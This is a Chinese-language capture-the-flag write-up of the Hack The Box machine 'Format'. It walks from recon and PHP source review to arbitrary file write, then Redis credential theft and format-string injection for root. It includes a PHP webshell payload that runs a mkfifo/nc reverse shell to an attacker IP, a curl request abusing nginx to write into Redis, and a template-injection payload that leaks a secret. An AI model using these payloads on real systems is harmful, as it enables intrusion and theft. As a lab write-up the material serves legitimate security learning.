HTB_Format

HTB Format

信息收集

首先添加域名解析到/etc/hosts

┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ sudo echo 10.10.11.213 format format.htb >> /etc/hosts
┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ sudo nmap --min-rate 10000 -p- 10.10.11.213
[sudo] kali 的密码:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 15:13 CST
Warning: 10.10.11.213 giving up on port because retransmission cap hit (10).
Nmap scan report for bogon (10.10.11.213)
Host is up (0.47s latency).
Not shown: 62147 closed tcp ports (reset), 3385 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 33.59 seconds
┌──(kali㉿kali)-[~/Tools/fscan]
└─$ ./fscan -h 10.10.11.213

   ___                              _  
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <  
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 10.10.11.213    is alive
[*] Icmp alive hosts len is: 1
10.10.11.213:22 open
Open result.txt error, open result.txt: permission denied
10.10.11.213:80 open
Open result.txt error, open result.txt: permission denied
10.10.11.213:3000 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://10.10.11.213       code:200 len:135    title:None
Open result.txt error, open result.txt: permission denied
[*] WebTitle: http://10.10.11.213:3000  code:301 len:169    title:301 Moved Permanently 跳转url: http://microblog.htb:3000/
Open result.txt error, open result.txt: permission denied

扫描完端口再对端口进行详细的信息收集:

┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ sudo nmap -sT -sV -O -p 22,80,3000 format  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 15:17 CST
Nmap scan report for format (10.10.11.213)
Host is up (0.35s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    nginx 1.18.0
3000/tcp open  http    nginx 1.18.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.70 seconds

访问http://format.htb​后,发现它跳转子域名了:http://app.microblog.htb

所以我们再添加一个域名解析到/etc/hosts

┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ sudo echo 10.10.11.213 app.format.htb >> /etc/hosts

然后就可以接着访问了,我们注册一个账号:

​​image​​

注册完登陆就行了

然后我们随便创一个节点:

image

但是接下来找不到利用点了,F12看看有没有什么东西

$(window).on('load', function(){
        //populate from DB
        $(".user-first-name").text("Qingfeng");
        const sites = ["qingfeng"];
        if(sites.length == 0) {
            $(".my-blogs-outer").text("No blogs found... get blogging!!");
            $(".empty-space-blogs").css("min-height", "20px");
        }
        else {
            for(var i = 0; i < sites.length; i++) {
                $(".my-blogs-outer").append(`<div class = "my-blogs-inner"><div class = "my-blogs-name my-blogs-item"><div class = "my-blogs-item-cell">${sites[i]}</div></div><a href = "http://${sites[i]}.microblog.htb" class = "my-blogs-link my-blogs-item"><div class = "my-blogs-item-cell">Visit Site</div></a><a href = "http://${sites[i]}.microblog.htb/edit/" class = "my-blogs-link my-blogs-item"><div class = "my-blogs-item-cell">Edit Site</div></a></div>`)
            }
        }
        const pro = false;
        if(!pro) {
            $(".pro").css("display", "none");
        }
        const queryString = window.location.search;
        if(queryString) {
            const urlParams = new URLSearchParams(queryString);
            if(urlParams.get('message') && urlParams.get('status')) {
                const status = urlParams.get('status')
                const message = urlParams.get('message')
                $(".floating-message").css("display", "block");
                $(".floating-message").children(".message-content").text(message);
                if(status === "fail") {
                    $(".floating-message").css("background-color", "#AF0606");
                }
                else {
                    $(".floating-message").css("background-color", "#4BB543");
                }
            }
        }
    });

有这么一段代码,发现其中有一段http://${sites[i]}.microblog.htb

sites​又是我们自己定义的const sites = ["qingfeng"];

所以这里我们添加/etc/hosts​解析访问看看:

┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ sudo echo 10.10.11.213 qingfeng.format.htb >> /etc/hosts

image

发现成功访问,而且下面还有一个@2022 Microblog

后来访问3000端口

image

有它的源码

我们看一下/edit/index.php

<?php
$username = session_name("username");
session_set_cookie_params(0, '/', '.microblog.htb');
session_start();
if(file_exists("bulletproof.php")) {
    require_once "bulletproof.php";
}

if(is_null($_SESSION['username'])) {
    header("Location: /");
    exit;
}

function checkUserOwnsBlog() {
    $redis = new Redis();
    $redis->connect('/var/run/redis/redis.sock');
    $subdomain = array_shift((explode('.', $_SERVER['HTTP_HOST'])));
    $userSites = $redis->LRANGE($_SESSION['username'] . ":sites", 0, -1);
    if(!in_array($subdomain, $userSites)) {
        header("Location: /");
        exit;
    }
}

function provisionProUser() {
    if(isPro() === "true") {
        $blogName = trim(urldecode(getBlogName()));
        system("chmod +w /var/www/microblog/" . $blogName);
        system("chmod +w /var/www/microblog/" . $blogName . "/edit");
        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
    }
    return;
}

//always check user owns blog before proceeding with any actions
checkUserOwnsBlog();

//provision pro environment for new pro users
provisionProUser();

//delete section
if(isset($_POST['action']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $contents = file_get_contents("order.txt");
    $contents = str_replace($_POST['id'] . "\n", '', $contents);
    file_put_contents("order.txt", $contents);

    //delete image file if content is image
    $data = file_get_contents($_POST['id']);
    $img_check = substr($data, 0, 26);
    if($img_check === "<div class = \"blog-image\">") {
        $startsAt = strpos($data, "<img src = \"/uploads/") + strlen("<img src = \"/uploads/");
        $endsAt = strpos($data, "\" /></div>", $startsAt);
        $fileToDelete = substr($data, $startsAt, $endsAt - $startsAt);
        chdir(getcwd() . "/../uploads");
        $file_pointer = $fileToDelete;
        unlink($file_pointer);
        chdir(getcwd() . "/../content");
    }
    $file_pointer = $_POST['id'];
    unlink($file_pointer);
    return "Section deleted successfully";
}

//add header
if (isset($_POST['header']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");  
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}

//add text
if (isset($_POST['txt']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $txt_nl = nl2br($_POST['txt']);
    $html = "<div class = \"blog-text\">{$txt_nl}</div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");  
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}

//add image
if (isset($_FILES['image']) && isset($_POST['id'])) {
    if(isPro() === "false") {
        print_r("Pro subscription required to upload images");
        header("Location: /edit?message=Pro subscription required&status=fail");
        exit();
    }
    $image = new Bulletproof\Image($_FILES);
    $image->setLocation(getcwd() . "/../uploads");
    $image->setSize(100, 3000000);
    $image->setMime(array('png'));

    if($image["image"]) {
        $upload = $image->upload();
        if($upload) {
            $upload_path = "/uploads/" . $upload->getName() . ".png";
            $html = "<div class = \"blog-image\"><img src = \"{$upload_path}\" /></div>";
            chdir(getcwd() . "/../content");
            $post_file = fopen("{$_POST['id']}", "w");
            fwrite($post_file, $html);
            fclose($post_file);
            $order_file = fopen("order.txt", "a");
            fwrite($order_file, $_POST['id'] . "\n");  
            fclose($order_file);
            header("Location: /edit?message=Image uploaded successfully&status=success");
        }
        else {
            header("Location: /edit?message=Image upload failed&status=fail");
        }
    }
}

function isPro() {
    if(isset($_SESSION['username'])) {
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $pro = $redis->HGET($_SESSION['username'], "pro");
        return strval($pro);
    }
    return "false";
}

function getBlogName() {
    return '"' . array_shift((explode('.', $_SERVER['HTTP_HOST']))) . '"';
}

function getFirstName() {
    if(isset($_SESSION['username'])) {
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $firstName = $redis->HGET($_SESSION['username'], "first-name");
        return "\"" . ucfirst(strval($firstName)) . "\"";
    }
}

function fetchPage() {
    chdir(getcwd() . "/../content");
    $order = file("order.txt", FILE_IGNORE_NEW_LINES);
    $html_content = "";
    foreach($order as $line) {
        $temp = $html_content;
        $html_content = $temp . "<div class = \"{$line} blog-indiv-content\">" . file_get_contents($line) . "</div>";
    }
    return $html_content;
}

?>

image

这里是可以写文件的,因为两个地方我们都可控

用官方的一个例子来看:

<?php
$fp = fopen('data.txt', 'w');
fwrite($fp, '1');
fwrite($fp, '23');
fclose($fp);

// the content of 'data.txt' is now 123 and not 23!
?> 

运行这段代码会生成一个data.txt​,内容为123

image

我们在http://qingfeng.microblog.htb/edit/​:

image

随便抓点东西改个包:

POST /edit/index.php HTTP/1.1
Host: qingfeng.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
Origin: http://qingfeng.microblog.htb
Connection: close
Cookie: username=vh07299t0o4p25dj4qhhirpa1b
Upgrade-Insecure-Requests: 1



id=/var/www/microblog/qingfeng/uploads/1.php&txt=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.8+9999+>/tmp/f")%3b%3f>

发现我们并不能写入文件,为什么?

先来说为什么要是/var/www/microblog/qingfeng/uploads/1.php​这个路径,注意到/edit/index.php​中这样一段代码:

image

它创建了/uploads目录并且我们有写入的权限,那为什么还是无法写入呢,可以注意到这里有一个前提条件,isPro()==="true"

再看看isPro()函数

image

如果这里的username​用户的pro​字段不存在值,就不满足true

所以我们要让redis中存在,就可以用:

curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:qingfeng%20pro%20true%20a/b"

使得它存在,-X​的意思是使用什么方法请求,例如GET​,POST​,但是为什么这样子可以和redis​数据库交互确实不知

再次发送数据包,请求/qingfeng/uploads/1.php​就可以吃到反弹shell了:

image

这里反弹shell是利用的rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.8+9999+>/tmp/f​,因为目标环境没有nc -e​,当然你也可以写马之类的连接webshell,看个人喜好

这里的反弹shell的意思分析如下:

​​image​​

接下来就是如何提权了

信息收集一波:

$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/gpasswd
$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State    
tcp        0      0 localhost:9000          0.0.0.0:*               LISTEN   
tcp        0      0 0.0.0.0:http            0.0.0.0:*               LISTEN   
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN   
tcp        0      0 0.0.0.0:3000            0.0.0.0:*               LISTEN   
tcp6       0      0 [::]:http               [::]:*                  LISTEN   
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN   
tcp6       0      0 [::]:3000               [::]:*                  LISTEN   
udp        0      0 0.0.0.0:bootpc          0.0.0.0:*                        
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node   Path
unix  2      [ ACC ]     STREAM     LISTENING     11327    /run/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     11329    /run/systemd/userdb/io.systemd.DynamicUser
unix  2      [ ACC ]     STREAM     LISTENING     11330    /run/systemd/io.system.ManagedOOM
unix  2      [ ACC ]     STREAM     LISTENING     11800    /var/run/vmware/guestServicePipe
unix  2      [ ACC ]     STREAM     LISTENING     11340    /run/systemd/fsck.progress
unix  2      [ ACC ]     STREAM     LISTENING     11894    /run/dbus/system_bus_socket
unix  2      [ ACC ]     STREAM     LISTENING     11348    /run/systemd/journal/stdout
unix  2      [ ACC ]     SEQPACKET  LISTENING     11350    /run/udev/control
unix  2      [ ACC ]     STREAM     LISTENING     11489    /run/systemd/journal/io.systemd.journal
unix  2      [ ACC ]     STREAM     LISTENING     13597    /var/run/redis/redis.sock
unix  2      [ ACC ]     STREAM     LISTENING     13611    /run/php/php7.4-fpm.sock

发现有一个/var/run/redis/redis.sock​,我们可以连接redis

获取所有的键:

$ redis-cli -s var/run/redis/redis.sock
KEYS *
cooper.dooper:sites
cooper.dooper

Redis 的Hgetall 命令用于返回哈希表中,所有的字段和值

我们依次获取:

image

得到了用户名和密码,可以ssh登陆:

┌──(kali㉿kali)-[~]
└─$ ssh cooper@format       
cooper@format's password: 
Linux format 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jun  4 02:46:12 2023 from 10.10.16.46
cooper@format:~$

ssh可以登陆那么第一件事情就是sudo -l​提权了

cooper@format:~$ sudo -l
[sudo] password for cooper: 

Sorry, try again.
[sudo] password for cooper: 
Sorry, try again.
[sudo] password for cooper: 
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license

有一个license,不知道是什么东西,直接输入看看

cooper@format:~$ sudo /usr/bin/license 
usage: license [-h] (-p username | -d username | -c license_key)
license: error: one of the arguments -p/--provision -d/--deprovision -c/--check is required

cat看看,发现是一个python脚本

#!/usr/bin/python3

import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys

class License():
    def __init__(self):
        chars = string.ascii_letters + string.digits + string.punctuation
        self.license = ''.join(random.choice(chars) for i in range(40))
        self.created = date.today()

if os.geteuid() != 0:
    print("")
    print("Microblog license key manager can only be run as root")
    print("")
    sys.exit()

parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()

r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')

secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

f = Fernet(encryption_key)
l = License()

#provision
if(args.provision):
    user_profile = r.hgetall(args.provision)
    if not user_profile:
        print("")
        print("User does not exist. Please provide valid username.")
        print("")
        sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
    for user_key in all_keys:
        if(user_key.split(":")[0] == args.provision):
            print("")
            print("License key has already been provisioned for this user")
            print("")
            sys.exit()
    prefix = "microblog"
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
    print("")
    print("Plaintext license key:")
    print("------------------------------------------------------")
    print(license_key)
    print("")
    license_key_encoded = license_key.encode()
    license_key_encrypted = f.encrypt(license_key_encoded)
    print("Encrypted license key (distribute to customer):")
    print("------------------------------------------------------")
    print(license_key_encrypted.decode())
    print("")
    with open("/root/license/keys", "a") as license_keys_file:
        license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")

#deprovision
if(args.deprovision):
    print("")
    print("License key deprovisioning coming soon")
    print("")
    sys.exit()

#check
if(args.check):
    print("")
    try:
        license_key_decrypted = f.decrypt(args.check.encode())
        print("License key valid! Decrypted value:")
        print("------------------------------------------------------")
        print(license_key_decrypted.decode())
    except:
        print("License key invalid")
    print("")

帮助文档看一看:

cooper@format:~$ sudo /usr/bin/license -h
usage: license [-h] (-p username | -d username | -c license_key)

Microblog license key manager

optional arguments:
  -h, --help            show this help message and exit
  -p username, --provision username
                        Provision license key for specified user
  -d username, --deprovision username
                        Deprovision license key for specified user
  -c license_key, --check license_key
                        Check if specified license key is valid

我们再redis中创建一个用户,利用模板注入读取密钥:

HMSET qingfeng first-name "{license.__init__.__globals__[secret_encoded]}" last-name qingfeng username qingfeng

cooper@format:~$ sudo /usr/bin/license -p qingfeng

Plaintext license key:
------------------------------------------------------
microblogqingfengH<SZFa~t"7C3[+}1m$j"6m;h!@3YBRHf_y@Z4&gUb'unCR4ckaBL3Pa$$w0rd'qingfeng

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkfATWk-3TC6uhgKq2MArdozOOf10eC7PRk3KpS7pGh5tFrtJIe81FLGTmmPU-tDfZdcX4w2ywlqatBb21coL8uoYAxWnMg8jh37SCFGTEZZNfva5UjEpkZ5s26T6K6yvc3CdPGH8N-Rr1KCtEQ4DTopaBqIH9R6gVTMj625ReM7iFAqgyP-ycFrzNB0PsN2Dth8F0

利用unCR4ckaBL3Pa$$w0rd​成功读取root密码拿到最后一个flag

root@format:~# cat root.txt|cut -c 1-10
c9c7fb45bf